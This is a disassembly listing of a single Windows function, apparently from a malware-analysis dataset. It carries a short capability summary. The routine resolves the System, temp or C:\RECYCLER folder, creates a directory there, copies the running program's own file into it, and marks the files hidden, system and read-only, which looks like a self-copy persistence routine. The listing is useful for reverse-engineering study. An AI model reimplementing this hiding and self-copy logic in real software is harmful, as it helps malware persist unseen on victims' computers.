Function at 0x40890e
Capabilities:
Create directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x320
mov eax, dword [ebp + 8]
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 1
je 0x408948
cmp dword [ebp - 0x320], 2
je 0x408a3e
cmp dword [ebp - 0x320], 3
je 0x408b0e
jmp 0x408b99
lea eax, [ebp - 0x310]
push eax
push 0
push 0
push 0x802b
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jl 0x408a37
lea eax, [ebp - 0x310]
push eax
push str._sSystem
push 0x104
lea eax, [ebp - 0x108]
push eax
call fcn.0040a3af
add esp, 0x10
push 0
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x4089e7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x4089e7
lea eax, [ebp - 0x310]
push eax
push 0x104
push 0x4166f0
call fcn.0040a3af
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x310]
push eax
push 0x415850
push 0x104
lea eax, [ebp - 0x108]
push eax
call fcn.0040a3af
add esp, 0x14
jmp 0x408b99
push 7
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x108]
push eax
push 0x104
push 0x4166f0
call fcn.0040a3af
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x108]
push eax
push 0x415858
push 0x104
lea eax, [ebp - 0x108]
push eax
call fcn.0040a3af
add esp, 0x14
jmp 0x408b99
xor eax, eax
jmp 0x408ce4
lea eax, [ebp - 0x310]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x415860
lea eax, [ebp - 0x310]
push eax
call fcn.0040af50
pop ecx
pop ecx
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0
jne 0x408a79
xor eax, eax
jmp 0x408ce4
push dword [ebp - 0x31c]
push 0x415864
push 0x104
lea eax, [ebp - 0x108]
push eax
call fcn.0040a3af
add esp, 0x10
push 0x415868
push 0
call fcn.0040af50
pop ecx
pop ecx
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0
jne 0x408abc
xor eax, eax
jmp 0x408ce4
push dword [ebp - 0x31c]
lea eax, [ebp - 0x108]
push eax
push 0x41586c
push 0x104
push 0x4166f0
call fcn.0040a3af
add esp, 0x14
push dword [ebp + 0xc]
push dword [ebp - 0x31c]
lea eax, [ebp - 0x108]
push eax
push str._s_s_s
push 0x104
lea eax, [ebp - 0x108]
push eax
call fcn.0040a3af
add esp, 0x18
jmp 0x408b99
push str.C:RECYCLER
push 0x104
lea eax, [ebp - 0x310]
push eax
call fcn.0040a3af
add esp, 0xc
push 0
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x408b4e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x408b4c
xor eax, eax
jmp 0x408ce4
jmp 0x408b5d
push 7
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x310]
push eax
push 0x104
push 0x4166f0
call fcn.0040a3af
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x310]
push eax
push str._s_s
push 0x104
lea eax, [ebp - 0x108]
push eax
call fcn.0040a3af
add esp, 0x14
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x415890
lea eax, [ebp - 0x20c]
push eax
call fcn.0040a72c
pop ecx
pop ecx
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0
jne 0x408bd6
xor eax, eax
jmp 0x408ce4
push 0x415894
lea eax, [ebp - 0x108]
push eax
call fcn.0040a72c
pop ecx
pop ecx
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0
jne 0x408c44
push dword [ebp + 0xc]
lea eax, [ebp - 0x20c]
push eax
call fcn.0040aed0
pop ecx
pop ecx
test eax, eax
je 0x408c3d
lea eax, [ebp - 0x108]
push eax
push 0x104
push 0x4167f4
call fcn.0040a3af
add esp, 0xc
push 7
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
pop eax
jmp 0x408ce4
xor eax, eax
jmp 0x408ce4
push 1
call fcn.0040a73f
pop ecx
mov dword [ebp - 4], eax
push dword [ebp - 0x314]
push 1
push 1
push dword [ebp - 4]
call fcn.0040a598
add esp, 0x10
cmp eax, 1
jne 0x408ca1
push dword [ebp - 0x318]
push 1
push 1
push dword [ebp - 4]
call fcn.0040a456
add esp, 0x10
cmp eax, 1
je 0x408c9f
push dword [ebp - 0x314]
call fcn.0040a400
pop ecx
push dword [ebp - 0x318]
call fcn.0040a400
pop ecx
xor eax, eax
jmp 0x408ce4
jmp 0x408c4f
push dword [ebp - 0x314]
call fcn.0040a400
pop ecx
push dword [ebp - 0x318]
call fcn.0040a400
pop ecx
push 7
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x108]
push eax
push 0x104
push 0x4167f4
call fcn.0040a3af
add esp, 0xc
push 1
pop eax
leave
ret